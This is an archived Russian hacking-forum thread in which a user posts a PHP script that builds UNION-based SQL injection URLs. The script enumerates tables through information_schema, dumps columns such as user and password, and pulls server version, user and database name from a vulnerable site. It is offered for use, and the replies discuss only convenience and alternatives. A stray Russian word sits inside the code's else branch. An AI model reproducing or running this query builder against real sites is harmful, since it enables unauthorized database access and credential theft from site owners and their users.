PDA

Просмотр полной версии : Удобный скрипт для sql-inj


gisTy
03.07.2008, 06:23
Иногда бывает, что при работе с sql-инъекциями таблица содержит большое количество колонок (например 150) и вводить руками это будет сложновато.. поэтому написал для себя скрипт облегчающий задачу...
<?php
$host = 'www.site.com'; #adress attacking of server (www.site.com)
$path = 'index.php?id='; #path to vulnerabity script with injection argument (shop/shop.php?id=)
$rows = 9; #number of rows
$printrow = 5; #printable row
$mode = 'stat'; #inform - dump information from information_schema; dump - dump information from interesting table; stat - information about MySQL-server (version(), user(), database())
$columns = 'user,0x3a,password'; #name of interesting columns, separated with 0x3a
$database = 'user'; #name of interesting
$end = '/*'; #end of query ('/*' or '--')

$query = "$host/$path-1+union+select+";
switch ($mode)
{
case "inform":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,table_name,0x3a7c3a7c),';
} elseif($i==$rows) {
$query .= $i;
} else {
$query .= $i.',';
}

}
$query .= "+from+information_schema.tables";
break;

case "dump":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,'.$columns.'),';
} elseif($i==$rows) {
$query .= $i;
} else {
$query .= $i.',';
}
}
$query .= "+from+$database";
break;

case "stat":
for($i=1;$i<$rows+1;$i++) {
if($i==$printrow) {
$query .= 'concat(0x7c3a7c3a,version(),0x3a3a,user(),0x3a3a, database(),0x3a7c3a7c),';
} elseif($i==$rows) {
$query .= $i;
} else {написал
$query .= $i.',';
}
}
break;
}
$query .= $end;
echo "$query\n";
?>
внутри скрипта описано для чего, что и как используется.. юзайте наздоровье=)

FraiDex
03.07.2008, 09:47
честно, ничего здесь полезного не вижу, можно и вручную всё это сделать без особого напряга. Развивай скрипт, добавляй чё-нить интересное и полезное. А пока ток +1

gisTy
03.07.2008, 14:21
ну вообще то это часть программы.. просто выложил в паблик, а вот на счет руками - например 150 колонок руками запаришься набирать...=)

Piflit
03.07.2008, 14:34
на форуме есть как программа, так и скрипт по данной теме с гораздо бОльшим функционалом

guest3297
03.07.2008, 17:55
perl для этого более подходит...

gisTy
04.07.2008, 15:00
2 Piflit, сейчас сижу под никсами без вайна, пожтому юзат SIPT 4 не вариант, к тому же учу php, вот и написал под себя скрипт и решил тут выложить.. а что за скрипт? выложил бы урл хотябы=)
2 [ cash ], пока до перла не добрался еще.. потом как нть выучуч и его..

zythar
04.07.2008, 15:14
а скрипт весь сам писал или использовал другие скрипты?

gisTy
04.07.2008, 17:58
сам, так как учусь и интересно самому все сделать